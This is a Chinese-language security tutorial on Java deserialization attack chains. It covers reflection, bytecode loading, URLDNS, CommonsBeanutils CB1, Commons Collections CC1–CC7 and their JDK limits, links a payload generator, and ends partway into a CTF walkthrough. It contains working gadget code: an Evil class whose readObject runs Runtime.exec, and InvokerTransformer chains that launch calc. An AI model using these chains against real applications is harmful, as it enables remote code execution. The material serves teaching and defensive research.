Java反序列化攻击链:深入剖析与实战
Yu4xr安全 发表于 江西 技术文章 863浏览 · 2024-11-27 12:14

Java反序列化攻击链:深入剖析与实战

1.java的反射机制

1.1. 反射的基本概念

反射允许程序在运行时(而不是编译时)动态地:

  • 1.获取类的信息
  • 2.创建对象
  • 3.调用方法,当像protected,private修饰的方法的时候不能直接调用就可以采取反射的形式调用。但是反射无法访问被强封装的类和成员。这些类通常位于Java的内部包中,例如sun.或com.sun.
  • 4.访问/修改字段
  • 5.甚至可以访问私有成员

1.2.反射实际用例

Evil类

package com.example.shiro550.shiro;

import java.io.*;

public class Evil implements Serializable{
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }

    //set
    protected void setCmd(String cmd) throws IOException {
        this.cmd = cmd;
        Runtime.getRuntime().exec(cmd);
    }
}
//首先获取class对象,通过 Class 对象,我们可以在运行时动态地获取和操作evil类的结构
Class clz = Class.forName("com.example.shiro550.shiro.Evil");
 //再通过class对象获取constructor,再通过constructor构造器来创建实例
Constructor testConstructor = clz.getConstructor();
Object testreadobject = testConstructor.newInstance();//newInstance方法来创建一个 Evil 类的实例
// 再通过class对象获取类中私有方法,参数类型为 String
Method setCmdmethond = clz.getDeclaredMethod("setCmd", String.class);
// 设置私有方法可访问
setCmdmethond.setAccessible(true);
//最后通过invoke方法调用类中setCmd的方法执行calc
setCmdmethond.invoke(testreadobject,"calc");
//通过class对象获取类的属性
Field[] fileds = clz.getDeclaredFields();
for (Field field: fileds) {
    System.out.println(field.getName());
}

1.3cc链中 通过InvokerTransformer类进行反射调用

// 方法一:直接使用 InvokerTransformer 调用
Runtime r = Runtime.getRuntime(); // 获取 Runtime 实例
// 通过 InvokerTransformer 调用 Runtime.exec() 方法
new InvokerTransformer(
    "exec",                           // 要调用的方法名
    new Class[]{String.class},        // 方法参数类型
    new Object[]{"calc"}              // 方法参数值
).transform(r);                       // 传入 Runtime 实例执行转换

// 方法二:使用 ChainedTransformer 串联多个转换器
Transformer[] transformers = new Transformer[] {
    // 1. 获取 Runtime 类对象
    new ConstantTransformer(Runtime.class),

    // 2. 获取 getRuntime 方法
    new InvokerTransformer(
        "getMethod",                                      // 调用 Class.getMethod()
        new Class[] {String.class, Class[].class},       // 参数类型:方法名和参数类型数组
        new Object[] {"getRuntime", new Class[0]}        // 参数值:getRuntime 方法名和空参数
    ),

    // 3. 调用 getRuntime 方法获取 Runtime 实例
    new InvokerTransformer(
        "invoke",                                        // 调用 Method.invoke()
        new Class[] {Object.class, Object[].class},     // 参数类型:调用对象和参数数组
        new Object[] {null, new Object[0]}              // 参数值:静态方法故为 null,无参数
    ),

    // 4. 执行命令
    new InvokerTransformer(
        "exec",                                         // 调用 Runtime.exec()
        new Class[] {String.class},                     // 参数类型:命令字符串
        new Object[] {"calc.exe"}                       // 参数值:要执行的命令
    )
};

// 将转换器数组封装成 ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 执行转换链,触发命令执行
transformerChain.transform(null);  // 初始输入为 null,因为第一个转换器是 ConstantTransformer

2.java的字节码class文件动态加载

2.1.Java文件编译命令

使用 javac Hello.java 将Java源文件编译为class文件

2.2. 加载class文件的三种方法

方法一:使用URLClassLoader,使用URL指定class文件所在目录,通过loader.loadClass()方法加载类,适用于加载指定目录下的类文件

import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class LoadTest {
    public static void main(String[] args) {
        try {
            // 指定class文件所在目录(注意:需要指定目录,而不是具体文件)
            File file = new File("C:\\Users\\32289\\Desktop");
            URL url = file.toURI().toURL();

            // 创建URLClassLoader
            try (URLClassLoader loader = new URLClassLoader(new URL[]{url})) {
                // 加载Hello类
                Class<?> helloClass = loader.loadClass("Hello");

                // 调用main方法
                Method mainMethod = helloClass.getMethod("main", String[].class);
                mainMethod.invoke(null, (Object) new String[]{});
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

方法二:直接使用defineClass

import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadTest {
    static class MyClassLoader extends ClassLoader {
        public Class<?> defineClass(byte[] bytes) {
            return defineClass(null, bytes, 0, bytes.length);
        }
    }

    public static void main(String[] args) {
        try {
            // 读取class文件
            byte[] bytecodes = Files.readAllBytes(Paths.get("Hello.class"));

            // 加载类
            MyClassLoader loader = new MyClassLoader();
            Class<?> clazz = loader.defineClass(bytecodes);

            System.out.println("成功加载类: " + clazz.getName());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

方法三:使用自定义ClassLoader + defineClass,直接读取class文件的字节码,通过重写findClass方法实现类加载,使用defineClass将字节码转换为Class对象。TemplatesImpl执行类作为反序列化最后常用的执行点,最终加载恶意的class文件也是类似于这种办法。

import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Method;
public class LoadTest {
    public static void main(String[] args) {
        try {
            // 直接读取class文件的字节码
            byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\32289\\Desktop\\Hello.class"));

            // 创建自定义类加载器
            ClassLoader loader = new ClassLoader() {
                @Override
                protected Class<?> findClass(String name) {
                    return defineClass(name, bytes, 0, bytes.length);
                }
            };

            // 加载类
            Class<?> helloClass = loader.loadClass("Hello");

            // 调用main方法
            Method mainMethod = helloClass.getMethod("main", String[].class);
            mainMethod.invoke(null, (Object) new String[]{});

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

TemplatesImpl中的关键代码:

public class TransletClassLoader extends ClassLoader {
    private final SecurityManager _security;

    public TransletClassLoader(SecurityManager security) {
        _security = security;
    }

    public Class<?> defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

private void daefineTransletClasses() {
  *// 获取字节码*
  byte[][] bytecodes = getBytecodes();
  *// 使用defineClass直接加载字节码*
  _class[i] = loader.defineClass(null, bytecodes[i], 0, bytecodes[i].length);
}

3.java反序列化链思路

3.1.入口点(Entry Point): 反序列化操作的起始位置,通常是 readObject() 方法。 当目标应用调用某个类的 readObject() 方法,且该类重写了 readObject() 方法时,就会触发自定义的反序列化逻辑。

  • 寻找入口点: 寻找那些直接或间接调用 readObject() 方法的地方,例如:

    • ObjectInputStream.readObject()
    • 一些框架或组件中自定义的反序列化逻辑如(shiro,fastjson)
  • 例子:

    // Evil.java (可被攻击的类)
    package EvilSerializtion;
    
    import java.io.*;
    
    public class Evil implements Serializable {
        public String cmd;
    
        private void readObject(java.io.ObjectInputStream stream) throws Exception {
            stream.defaultReadObject();
            Runtime.getRuntime().exec(cmd); // 执行命令
        }
    }
    

    当对 Evil 类的序列化数据进行反序列化时,readObject() 方法会被调用,从而执行命令。

3.2利用链/Gadget Chain: 从入口点到执行点的一系列方法调用,就像一条链条一样将两者串联起来。利用链中的每个环节都承上启下,最终导向恶意代码的执行。

  • 寻找Gadget: 寻找可利用的类和方法,这些类和方法通常具有以下特点:
    • 实现了 Serializable 接口,可以被序列化和反序列化。
    • 拥有一些“神奇”的方法,例如 invoke()、newInstance()、get()、set() 等,可以用来反射调用其他方法或修改对象属性。
    • 方法之间存在调用关系,可以构成一条完整的利用链。
  • 构造Gadget Chain: 将多个Gadget组合起来,形成一条从入口点到执行点的完整调用链。这通常需要深入分析目标应用的依赖库和代码,寻找潜在的可利用点。
  • 常见Gadget库和框架:
    • Apache Commons Collections
    • Apache Commons Beanutils
    • Spring Framework
    • Fastjson
    • Jackson

3.3执行点(Sink): 真正执行恶意操作的地方,例如代码执行(RCE)、命令执行、文件操作、敏感信息泄露等。

  • 常见执行点:
    • Runtime.getRuntime().exec():执行命令
    • ProcessBuilder.start():执行命令
    • Method.invoke():反射调用方法
    • ClassLoader.loadClass():加载类
    • File、FileInputStream、FileOutputStream 等文件操作类

4. URLDNS 链

原理:

java.util.HashMap 重写了 readObject 方法,在反序列化时会调用 hash 函数计算 key 的 hashCode。而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求。攻击者可以通过构造恶意的 URL 对象作为 HashMap 的 key,触发 DNS 解析,将受害者机器的信息发送到攻击者控制的 DNS 服务器。

Gadget Chain:

跟踪链:

ObjectInputStream.readObject()
    HashMap.readObject()
        HashMap.putVal()  // putVal 内部调用 hash()
            HashMap.hash()
                URL.hashCode()
                    URLStreamHandler.hashCode()
                        URLStreamHandler.getHostAddress()
                            InetAddress.getByName() // DNS 解析发生在这里

URLDNS 链利用流程:

  1. 构造恶意 URL 对象: 攻击者创建一个 URL 对象,其域名指向攻击者控制的 DNS 服务器。
  2. 创建 HashMap 对象: 攻击者将恶意 URL 对象作为 key,任意对象作为 value,放入 HashMap 中。
  3. 序列化 HashMap 对象: 攻击者将 HashMap 对象序列化为字节流。
  4. 反序列化 HashMap 对象: 受害者机器反序列化攻击者提供的字节流。
  5. 触发 DNS 解析: 在反序列化过程中,HashMap 会调用 readObject 方法,进而调用 hash 方法计算 URL 对象的 hashCode。URL.hashCode 会调用 getHostAddress 解析域名,向攻击者控制的 DNS 服务器发送 DNS 请求。

5.commons-beanutils:1.9.x的cb1链

执行流程:

5.1主要是三个部分,从后往前推

步骤一:TemplatesImpl类: 执行恶意代码的执行点 (能否调用成功依赖于JDK版本, JDK<16 TemplatesImpl这个执行类才可以执行成功)

  • 恶意类.newInstance(): 要执行恶意代码,需要先实例化恶意类。
  • TemplatesImpl.defineTransletClasses() --> loader.defineClass() / 恶意类.newInstance(): defineTransletClasses() 方法负责定义和加载恶意类,并最终实例化它。 其中 loader.defineClass() 是加载字节码的关键点。
  • TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses(): 如果 _translet 为空,getTransletInstance() 会调用 defineTransletClasses()。
  • TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance(): newTransformer() 方法会触发 getTransletInstance() 的调用。
  • TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer(): getOutputProperties() 方法最终会调用 newTransformer()。 找到关键点:需要找到一种方法调用 TemplatesImpl.getOutputProperties()。

步骤二:寻找可以调用 TemplatesImpl.getOutputProperties() 的 Gadget点

  • JavaBean 技术和 getProperty() 方法: JavaBean 规范中,getProperty() 方法可以用于获取对象的属性值。
  • PropertyUtils.getProperty(o1, "outputProperties") --> TemplatesImpl.getOutputProperties(): 如果 o1 是 TemplatesImpl 对象,且 property 为 "outputProperties",那么 PropertyUtils.getProperty() 会通过反射调用 TemplatesImpl.getOutputProperties() 方法。(这里实际调用的是 getter 方法)。 找到 Gadget:PropertyUtils.getProperty() 可以作为 Gadget 使用。

步骤三:寻找触发 Gadget 的入口点

  • BeanComparator.compare() --> PropertyUtils.getProperty(o1, property): BeanComparator 的 compare() 方法内部使用了 PropertyUtils.getProperty() 来比较 JavaBean 的属性。
  • PriorityQueue.heapify() --> BeanComparator.compare(): PriorityQueue 的 heapify() 方法在调整堆结构时会使用比较器进行比较。
  • PriorityQueue.readObject() --> PriorityQueue.heapify(): PriorityQueue 的 readObject() 方法在反序列化过程中会调用 heapify()。 找到入口点:PriorityQueue.readObject()

主要涉及的技术点:

  • Java 反序列化: 将序列化的数据重新转换为对象的过程。
  • JavaBeans: 一种符合特定规范的 Java 类,通过 getter 和 setter 方法暴露属性。
  • TemplatesImpl: Apache Xalan 库中的一个类,可以加载并执行字节码。
  • BeanComparator: Apache Commons Beanutils 库中的一个比较器,可以根据 JavaBean 属性进行比较。
  • PriorityQueue: Java 集合框架中的一个类,实现了优先队列。

5.2全部的调用链:

入口点PriorityQueue 类的 readObject() 方法依赖于 JRE
触发反序列化:  PriorityQueue 对象被反序列化时会自动调用 readObject() 方法


调用链利用 Apache Commons Beanutils (依赖于 org.apache.commons.beanutils) 触发 TemplatesImpl
PriorityQueue.readObject() --> PriorityQueue.heapify()
PriorityQueue.heapify() --> BeanComparator.compare() (使用了 BeanComparator 作为比较器)
BeanComparator.compare() --> PropertyUtils.getProperty(o1, property) (其中 o1  TemplatesImpl 对象property  "outputProperties")
PropertyUtils.getProperty(o1, property) --> TemplatesImpl.getOutputProperties() (通过反射调用)

执行链TemplatesImpl 的恶意字节码加载和执行 (依赖于 JRE)
TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer()
TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance()
TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses() (如果 _translet 为空)
TemplatesImpl.defineTransletClasses() --> loader.defineClass() (使用自定义的 ClassLoader 加载字节码)
TemplatesImpl.defineTransletClasses() --> 恶意类.newInstance() (实例化恶意类)
恶意代码执行: 在恶意类实例化过程中静态代码块或构造函数会被执行

5.3gadet调用链部分比较重要的点

用到了javabean技术,getProperty方法获取目标类o1( TemplatesImpt类 )的属性值的方法(会调用TemplatesImpt类里面的geoutputPropertiest属性的方法‘) 起到承上启下连接链的作用,承上:接收BeanComparator的比较请求,启下:触发 TemplatesImpl 的危险方法。

在较新版本的 JDK 中,JDK 16 及之后: 移除了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类执行点

跟链思路:先从下往上,再寻找到gadget调用链承上启下,再寻找入口点连接起来,从后往前推找到谁调用了这个方法一直到readobject方法就可以截至

5.4JDK 版本限制

  • JDK 16 及之后: TemplatesImpl 类访问收到限制,该类默认情况下被强封装,需要特殊配置才能访问。到了jdk16就需要使用其他执行类。

jdk15的情况下生成的cb1的反序列能够成功执行,但是到了jdk16之后就会报错:

报错信息分析:

InaccessibleObjectException: Unable to make sun.reflect.annotation.AnnotationInvocationHandler accessible
表明无法通过反射访问这个内部类。

CB链调用的过程中间接的利用到了sun.reflect.annotation.AnnotationInvocationHandler这个内部类,在新版本中,这个内部类被严格封装,默认不允许反射访问。

6.commons-collections:3.1反序列化链的进化史

6.1cc1链

cc1反序列化gadet调用链:

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoe()
                                        Runtime.exec()

cc1调用链:

入口点ObjectInputStream.readObject() 

反序列化调用链
ObjectInputStream.readObject() --> AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject() --> Map(Proxy).entrySet()
Map(Proxy).entrySet() --> AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() --> LazyMap.get()

执行链
LazyMap.get() --> ChainedTransformer.transform()
ChainedTransformer.transform() --> 依次执行
    ConstantTransformer.transform()
    InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod()
    InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime()
    InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()

cc1链中比较重要的点

  • AnnotationInvocationHandler类的动态代理技术:readObject() 方法会读取 memberValues 属性(即动态代理对象),并调用该对象的 entrySet() 方法。动态代理将方法调用转发给 AnnotationInvocationHandler 的 invoke() 方法:
  • invoke() 方法调用 LazyMap 的 get() 方法: invoke() 方法逻辑会调用 LazyMap 的 get() 方法,触发恶意 Transformer 链的执行。
  • LazyMap 的触发: 利用 LazyMap 的特性,在 get() 操作时触发 transform() 方法,从而启动执行链
  • transform链:通过装载多个transformer加反射调用Runtime().getruntime()来执行命令

6.2cc3链

CC3 链与 CC1 链的结构类似,主要区别在于执行阶段的最后一个 Transformer,cc3主要是通过TemplatesImpl 来加载恶意字节码,使得攻击者可以更加灵活地控制反射调用的过程。

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                TemplatesImpl.getOutputProperties() (or newTransformer())

CC3 链详细分解:

  1. 入口点与反序列化阶段(与 CC1 相同):
    • ObjectInputStream.readObject()
    • AnnotationInvocationHandler.readObject()
    • Map(Proxy).entrySet()
    • AnnotationInvocationHandler.invoke()
    • LazyMap.get()
  2. 执行阶段(与 CC1 不同):
    • LazyMap.get() --> ChainedTransformer.transform()
    • ChainedTransformer.transform() --> 依次执行:
      • ConstantTransformer.transform(): 返回 TemplatesImpl 类。
      • InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod(): 通过反射获取 TemplatesImpl 类的 getOutputProperties() 或 newTransformer() 方法。
      • InvokerTransformer.transform() --> Method.invoke() --> TemplatesImpl.getOutputProperties() 或 TemplatesImpl.newTransformer(): 调用 TemplatesImpl 对象的 getOutputProperties() 或 newTransformer() 方法。

TemplatesImpl 的关键作用:

  • TemplatesImpl 是 javax.xml.transform 包下的一个类,用于加载和执行 XSLT 模板。
  • 攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中。
  • 当 TemplatesImpl 的 getOutputProperties() 或 newTransformer() 方法被调用时,会触发恶意字节码的加载和执行。

CC3 链的核心要点:

  • 利用 TemplatesImpl 加载恶意字节码,绕过了一些对 Runtime.exec() 的限制。
  • 仍然依赖于 AnnotationInvocationHandler 作为反序列化入口点,因此也受限于 JDK 版本。

6.3cc5链

cc5链相比较于前面的cc1和cc3链,使用了不同的反序列化入口点,不再依赖于 AnnotationInvocationHandler,从而可以绕过 JDK 对 CC1 和CC3对AnnotationInvocationHandler的修复。

ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

CC5 链详细分解:

  1. 入口点: ObjectInputStream.readObject() 读取序列化对象。
  2. 反序列化阶段:
    • ObjectInputStream.readObject() --> BadAttributeValueExpException.readObject(): 当反序列化 BadAttributeValueExpException 类型的对象时,会调用其 readObject() 方法。
    • BadAttributeValueExpException.readObject() --> TiedMapEntry.toString(): BadAttributeValueExpException 类中有一个 val 属性,该属性的类型是 Object。攻击者可以将一个 TiedMapEntry 对象赋值给 val 属性。在 BadAttributeValueExpException.readObject() 方法中会调用 val.toString()。
    • TiedMapEntry.toString() --> LazyMap.get(): TiedMapEntry 的 toString() 方法会调用其内部 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。
  3. 执行阶段(与 CC1 相同):
    • LazyMap.get() --> ChainedTransformer.transform()
    • ChainedTransformer.transform() --> 依次执行:
      • ConstantTransformer.transform()
      • InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod()
      • InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime()
      • InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()

CC5 链的核心要点:

  • 利用 BadAttributeValueExpException 作为新的反序列化入口点,绕过了 JDK 对 AnnotationInvocationHandler 的修复。
  • 通过 TiedMapEntry 的 toString() 方法触发 LazyMap 的 get() 方法。
  • 仍然使用 Transformer 链执行任意命令

6.4cc6链

CC6 链利用 HashSet 和 HashMap 的特性来触发反序列化漏洞。

CC6 反序列化 Gadget 调用链:

java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

CC6 链详细分解:

  1. 入口点: ObjectInputStream.readObject() 读取序列化对象。
  2. 反序列化阶段:
    • ObjectInputStream.readObject() --> HashSet.readObject(): 当反序列化 HashSet 类型的对象时,会调用其 readObject() 方法。
    • HashSet.readObject() --> HashMap.put(): HashSet 内部使用 HashMap 来存储元素。在 readObject() 过程中,会调用 HashMap 的 put() 方法添加元素。
    • HashMap.put() --> HashMap.hash(): 为了计算元素的哈希值,HashMap.put() 会调用 HashMap.hash() 方法。
    • HashMap.hash() --> TiedMapEntry.hashCode(): 如果 HashMap 中存储的是 TiedMapEntry 对象,那么 HashMap.hash() 会调用 TiedMapEntry.hashCode() 方法。
    • TiedMapEntry.hashCode() --> TiedMapEntry.getValue(): TiedMapEntry.hashCode() 方法会调用 TiedMapEntry.getValue() 方法获取值。
    • TiedMapEntry.getValue() --> LazyMap.get(): TiedMapEntry 内部持有一个 Map 对象,getValue() 方法会调用该 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。
  3. 执行阶段(与 CC1 相似):
    • LazyMap.get() --> ChainedTransformer.transform()
    • ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()

CC6 链的核心要点:

  • 利用 HashSet 和 HashMap 的反序列化过程作为入口点。
  • 通过 HashMap 计算 TiedMapEntry 哈希值时触发 LazyMap.get()。
  • 仍然使用 Transformer 链执行任意命令。

6.5cc7链

CC7 链利用 Hashtable 和 AbstractMapDecorator 的特性来触发反序列化漏洞。

CC7 反序列化 Gadget 调用链:

ObjectInputStream.readObject()
    Hashtable.readObject()
        Hashtable.reconstitutionPut()
            AbstractMapDecorator.equals()
                AbstractMap.equals()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    DelegatingMethodAccessorImpl.invoke()
                                        NativeMethodAccessorImpl.invoke()
                                            NativeMethodAccessorImpl.invoke0()
                                                Runtime.exec()

CC7 链详细分解:

  1. 入口点:ObjectInputStream.readObject() 读取序列化对象。
  2. 反序列化阶段:
    • ObjectInputStream.readObject() --> Hashtable.readObject():当反序列化 Hashtable 类型的对象时,会调用其 readObject() 方法。
    • Hashtable.readObject() --> Hashtable.reconstitutionPut():Hashtable 在反序列化过程中会调用 reconstitutionPut() 方法重新构建内部的键值对。
    • Hashtable.reconstitutionPut() --> AbstractMapDecorator.equals():Hashtable 在 reconstitutionPut() 中会使用 equals() 方法比较键是否相等。如果 Hashtable 中的键是一个 AbstractMapDecorator 对象(如 LazyMap 或 TransformedMap),那么会调用其 equals() 方法。
    • AbstractMapDecorator.equals() --> AbstractMap.equals():AbstractMapDecorator 的 equals() 方法会调用 AbstractMap.equals() 方法进行进一步比较。
    • AbstractMap.equals() --> LazyMap.get():在 AbstractMap.equals() 方法中,如果比较的另一个对象也是一个 Map,会调用其 get() 方法获取值进行比较。这里的 Map 实际上是一个 LazyMap 对象,key 是 AbstractMapDecorator 对象本身。
  3. 执行阶段:
    • LazyMap.get() --> ChainedTransformer.transform()
    • ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke():调用 InvokerTransformer 执行反射调用。
    • Method.invoke() --> DelegatingMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke0() --> Runtime.exec():这一系列调用最终会执行 Runtime.exec() 方法。这是 Java 反射调用过程中的底层实现细节。

CC7 链的核心要点:

  • 利用 Hashtable 的反序列化机制作为入口点。
  • 通过 Hashtable 在反序列化过程中调用 equals() 方法来触发 LazyMap.get()。
  • 仍然使用 Transformer 链执行任意命令。

6.6jdk版本限制

随着jdk版本更新cc1链被修复

  • JDK 8u71 及之后: CC1 链和CC3链使用的是相同的入口gadet片段导致失效。JDK 8u71 修复了 AnnotationInvocationHandler 的漏洞,导致依赖于它的 CC1 和 CC3 链失效。这是因为 AnnotationInvocationHandler 的 memberValues 字段的类型受到了限制,阻止了恶意利用。

  • jdk16及之后:和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC5,CC6,CC7失效。

6.7总结

对 CC3、CC5、CC6 和 CC7 链进行总结如下:

入口点 触发方式 执行方式 JDK 限制
CC1 AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() Runtime.exec() JDK 8u71 之后修复
CC3 AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() TemplatesImpl 加载字节码 JDK 8u71 之后修复
CC5 BadAttributeValueExpException.readObject() TiedMapEntry.toString() -> LazyMap.get() Runtime.exec() JDK16后修复
CC6 HashSet.readObject() HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() Runtime.exec() JDK16后修复
CC7 Hashtable.readObject() Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get() Runtime.exec() JDK16后修复

通用特点:

  • 都利用了 Apache Commons Collections 库中的 LazyMap 和 ChainedTransformer、InvokerTransformer 等类。

差异:

  • 入口点不同: 每个链使用了不同的类作为反序列化的入口点,这是为了绕过 JDK 对之前链的修复。
  • 触发方式不同: 每个链通过不同的方式触发 LazyMap 的 get() 方法,从而启动 Transformer 链。
  • 执行方式: CC3 主要利用 TemplatesImpl 加载恶意字节码执行命令,而其他链(CC1、CC5、CC6、CC7)通常利用 Runtime.exec(),但技术上也可以使用 TemplatesImpl来加载恶意的字节码实现命令执行,内存马注入等.

7.commons-collections4.0:反序列化链

7.1CC2 链

CC2 反序列化 Gadget 调用链:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
        PriorityQueue.siftDown()
        PriorityQueue.siftDownUsingComparator()
            TransformingComparator.compare()
                InvokerTransformer.transform()
                    Method.invoke()
                        Class.getMethod()
                    Method.invoke()
                        Runtime.getRuntime()
                    Method.invoke()
                        Runtime.exec()

入口点:ObjectInputStream.readObject()

反序列化调用链:
ObjectInputStream.readObject() --> PriorityQueue.readObject()
PriorityQueue.readObject() --> PriorityQueue.heapify()
PriorityQueue.heapify() --> PriorityQueue.siftDown()
PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator()
PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare()

执行链:
TransformingComparator.compare() --> InvokerTransformer.transform()
InvokerTransformer.transform() --> 依次执行:
    Method.invoke() --> Class.getMethod()
    Method.invoke() --> Runtime.getRuntime()
    Method.invoke() --> Runtime.exec()

content_copyUse code with caution.Java

CC2 链中比较重要的点:

  • PriorityQueue 的利用: PriorityQueue 是一个优先队列,在反序列化时会进行堆排序。
  • TransformingComparator 的作用: TransformingComparator 是一个比较器,在 PriorityQueue 进行排序时会调用其 compare 方法,从而触发 InvokerTransformer 的 transform 方法。
  • InvokerTransformer 的反射调用: 与 CC1 链类似,InvokerTransformer 通过反射调用 Runtime.getRuntime().exec() 方法执行命令。

7.2 CC4 链

CC4 反序列化 Gadget 调用链:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
            TransformingComparator.compare()
                InstantiateTransformer.transform()
                    Constructor.newInstance()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                DefineTransletClasses.defineClass()

入口点:ObjectInputStream.readObject()

反序列化调用链:
ObjectInputStream.readObject() --> PriorityQueue.readObject()
PriorityQueue.readObject() --> PriorityQueue.heapify()
PriorityQueue.heapify() --> PriorityQueue.siftDown()
PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator()
PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare()

执行链:
TransformingComparator.compare() --> InstantiateTransformer.transform()
InstantiateTransformer.transform() --> Constructor.newInstance()
Constructor.newInstance() --> TemplatesImpl.newTransformer()
TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance()
TemplatesImpl.getTransletInstance() --> DefineTransletClasses.defineClass()

CC4 链中比较重要的点:

  • InstantiateTransformer 的利用: CC4 链与 CC2 链的结构类似,主要区别在于执行阶段使用了 InstantiateTransformer 而不是 InvokerTransformer。
  • TemplatesImpl 加载字节码: InstantiateTransformer 会调用指定类的构造函数创建对象。在 CC4 中,这个类是 TemplatesImpl,攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中,然后通过调用 newTransformer() 方法触发恶意字节码的加载和执行。

7.3 JDK 限制

随着 JDK 版本更新,CC2 和 CC4 链也受到了一定的限制:

  • JDK 16 及之后: CC2链和CC4链和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC链失效。

7.4 总结

入口点 触发方式 执行方式 JDK 限制
CC2 PriorityQueue.readObject() PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InvokerTransformer.transform() Runtime.exec() JDK16后失效
CC4 PriorityQueue.readObject() PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InstantiateTransformer.transform() TemplatesImpl 加载字节码 JDK16后失效

通用特点:

  • 都利用了 PriorityQueue 的反序列化过程作为入口点。
  • 都利用了 TransformingComparator 作为触发器。

差异:

  • 执行方式不同: CC2 利用 InvokerTransformer 执行 Runtime.exec(),而 CC4 利用 InstantiateTransformer 和 TemplatesImpl 加载恶意字节码。

8.java反序列的payload一键生成利用工具

web Chains地址:Java-Chains/web-chains: Web 版 Java Payload 生成与漏洞利用工具,提供 Java 反序列化、Hessian 1/2 反序列化等 Payload 生成,以及 JNDI Exploit、Fake Mysql Exploit、JRMPListener 等相关利用

9.反序列化和jndi实战例题

2024赣州杯 byp4ss

9.1配置动态调试

拿到jar包之后解压:

解压之后idea中打开这个项目:

项目结构->模块->添加classes和lib依赖:

添加远程调试

然后通过以下命令运行jar包

